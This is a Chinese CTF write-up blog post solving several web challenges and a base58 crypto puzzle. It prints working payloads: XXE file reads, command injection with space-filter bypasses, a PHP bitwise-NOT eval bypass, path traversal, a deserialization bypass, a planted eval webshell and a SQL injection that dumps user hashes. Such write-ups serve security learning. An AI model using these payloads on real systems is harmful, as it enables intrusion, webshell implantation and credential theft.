题目只有这样一张图片,查看源码也什么都没有。从题目看就是它被拒绝访问了,那我们修改一下请求头,添加一个X-Forwarded-For:127.0.0.1
,发现:
okNot Admin
将cookie项改为1即可。
okflag{xxasdasdd_for}
扫描目录发现有源码泄露
[15:31:20] 200 - 310B - /index.php~
查看/index.php~发现源码如下:
<?php
#鍏抽棴Warning
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "CTF:" . "<br>" . "$user";
?>
xxe攻击
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
CTF: PD9waHAKLy9mbGFne0lVeWFzZDgyMTMxMjMxMjM4OTB9CiA/Pgo=
base64解密即可。
<?php //flag{IUyasd8213123123890} ?>
fuzz发现屏蔽了空格,还有大部分的命令。
linux下绕过空格的方法有:
- ${IFS}
- $IFS$9
- <
- <>
它还屏蔽了flag,所以使用*来匹配。
grep "string" filename
所以就是:
;grep${IFS}"fla"${IFS}/fla*;
或:
;grep$IFS$9"fla"$IFS$9/fla*;
取得flag:
flag{llllll_U_GeT_Th3_fl4g}
题目给的地址进入后页面如下,从中只能知道这是各ubuntu服务器:
扫一下目录,出现index.php,是一道代码审计。
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
echo file_get_contents("./flag.php");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
//print(strlen($code));
if(strlen($code)>27){
die("Too Long.");
}
if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
die("Not Allowed.");
}
@eval($_GET['code']);
}else{
highlight_file(__FILE__);
}
?>
考的是绕过正则最后执行GetYourFlag这个函数
针对eval这个函数可以构建如下payload:
(~%8F%97%8F%96%91%99%90)();
,进入phpinfo页面,也就是说只要把%8F%97%8F%96%91%99%90
替换为GetYourFlag即可。
<?php
echo urlencode(~'GetYourFlag');
?>
code=(~%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98)();
右键查看源码发现flag
<?php
$flag="flag{3904c5df2e894ca02a21004feb21e617}"
?>
扫目录发现一个api:
Post
filename
,and u give this api array,u can read file
根据提示构造filename然后post过去
filename={"file":"index.php"}
右键查看源码
```php <?php if(isset($_POST['filename'])){ $file=json_decode($_POST['filename'], true); if(json_last_error()){ die("sorry,json_decode error!"); }else{ if(array_key_exists("file",$file)){ if(stristr($file['file'],'f')){ die('sorry!'); }else{ echo file_get_contents($file['file']); } }else{ die('sorry,u cannot readfile'); } }
}else{ echo "Post
filename
,and u give this api array,u can read file"; } ?> ```
这里获取不到上面有用的东西,但是可以在api这个目录下读取文件源码。
post这个filename={"file":"../index.php"}
获取源码,再获取hack.php的源码:
```php /hack.php/ <?php class hack { public $file; function __construct($filename = '') { $this -> file = $filename; }
function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } }
} //fffffaa_not.php ?>
<?php require_once('hack.php'); echo "Api!wow"; function do_unserialize($value){ preg_match('/[oc]:\d+:/i', $value, $matches); if (count($matches)) {return false;} return unserialize($value); } $x = new hack(); if(isset($_GET['flag'])) $g = $_GET['flag']; if (!empty($g)) { $x = do_unserialize($g); } echo $x->readfile(); ?> ```
传一个序列化后的flag=O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
url编码
?flag=%4f%3a%2b%34%3a%22%68%61%63%6b%22%3a%31%3a%7b%73%3a%34%3a%22%66%69%6c%65%22%3b%73%3a%31%35%3a%22%66%66%66%66%66%61%61%5f%6e%6f%74%2e%70%68%70%22%3b%7d
php Api!wow<?php $text = $_GET['jhh08881111jn']; $filename = $_GET['file_na']; if(preg_match('[<>?]', $text)) { die('error!'); } if(is_numeric($filename)){ $path="/var/www/html/uploads/".$filename.".php"; }else{ die('error'); } file_put_contents($path, $text); ?>
fffffaa_not.php?jhh08881111jn[]=<?php @eval($_POST['pass']);?>&file_na=2333
正则用数组绕过。
最后蚁剑连接即可。
这道题是我在省赛中遇到的,当时完全找不到思路。它给了源码压缩包,然而这好像是一个php框架,我并没有学过,完全不知所措。后来看了别人的wp才懂
首先是一个登录框,既然是登录框那么就有可能是sql注入,但是发现这个登录框登录不了。查看源码发现有这么一段代码:
/* database/factories/UserFactory.php*/
$factory->define(App\User::class, function (Faker $faker) {
return [
'name' => $faker->name,
'email' => $faker->unique()->safeEmail,
'password' => '$2y$10$TKh8H1.PfQx37YgCzwiKb.KjNyWgaHb9cbcoQgdIVFlYg7B77UdFm', // secertheretola
'remember_token' => str_random(10),
];
});
指定了password为secertheretola
再次审查源码,发现了一个路由文件:
Route::get('/', function () {
return view('welcome');
});
Route::get('user_testpage/{id}', 'UserController@index');
Auth::routes();
Route::get('/home', 'HomeController@index')->name('home');
Route::get('/home/profile','ProfileController@show')->name('profile');
Route::get('/home/uploadto_upload','HomeController@uploads')->name('home');
Route::post('/home/uploadss/{key}','HomeController@uploadss')->name('home');
这里有一个路由对应了UserController.php
这个文件,其源码如下:
class UserController extends Controller
{
/**
* 展示应用的用户列表.
*
* @return Response
*/
public function index($id)
{
$id=str_replace("select","",$id);
$id=str_replace("union","",$id);
$users = DB::select("select * from users where name = '$id'");
return view('test.index', ['users' => $users]);
}
}
这里会发现原来id是存在了sql注入,其语句为:
select * from users where name = '$id'
那么我们可以构造使得语句恒真,此时sql语句等同于select * from users
,那么我们就可以获取到users表下的所有内容了。因为该文件对应路由为:user_testpage/{id}
,所以构造语句:
user_testpage/' or '1' = '1'%23
array:3 [▼ 0 => {#195 ▼ +"id": 1 +"name": "fM4GsTb4Nb" +"email": "aaa@aa.org" +"password": "$2y$10$.yH51pqjn5IZQ.oCSjd7S.k7TrxrGS8mQXLL5BTKWUx3rPYwgUtR6" +"remember_token": null +"created_at": null +"updated_at": null } 1 => {#197 ▼ +"id": 2 +"name": "NotAllow6171" +"email": "A Hint=key@ctf.org" +"password": "$2y$d0$O5cnweVj/zOb7nhkLRgosOr2N9qLqw.4QN05XS5EtvGIBtBNZAmzy" +"remember_token": null +"created_at": null +"updated_at": null } 2 => {#198 ▼ +"id": 3 +"name": "adminer" +"email": "admin@ctf.com" +"password": "$2y$10$Vy575.SRxhenRN9Ap5SrT.G1nQBtqW4PpWKFDMK1k0EnqaIpPji.K" +"remember_token": "NULL" +"created_at": "2019-08-05 07:56:41" +"updated_at": "2019-08-05 07:56:41" } ]
进入登录界面经过尝试,使用
admin@ctf.com和secertheretola可以登录,其他两个账户不行,但有一个A Hint=key@ctf.org
应该是提示,但后面用不上,可能是环境被其他大佬搞坏了吧。
现在进入这里了。
查看路由有一个/home/profile
,输入路由获取flag。
flag{Ucan_wow_easy_qaq}
RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX
咋一看是base64,去解码发现并不是。。认为可能是base64改了默认的表,百思不得其解,这种大小写字母加上数字啥的应该就是base64吧。。
后来发现有一个base58,研究了好久,发现他把数字放到最后了,写了个脚本就爆出来了。
def base58decode(stirng):
table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
base = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789'
get_result = ''
the_long = 0
for (i, c) in enumerate(stirng[::-1]):
the_long = base.find(c) * pow(58, i) + the_long
while the_long >= 256:
d, m = divmod(the_long, 256) ##divmod(7, 2)-->(3, 1)
get_result = chr(m) + get_result
the_long = d
get_result = chr(the_long) + get_result
get_result = get_result
return get_result
print(base58decode("RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX"))
getflag:flag{adb88f7b70a20983833a7615fb103e01}
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/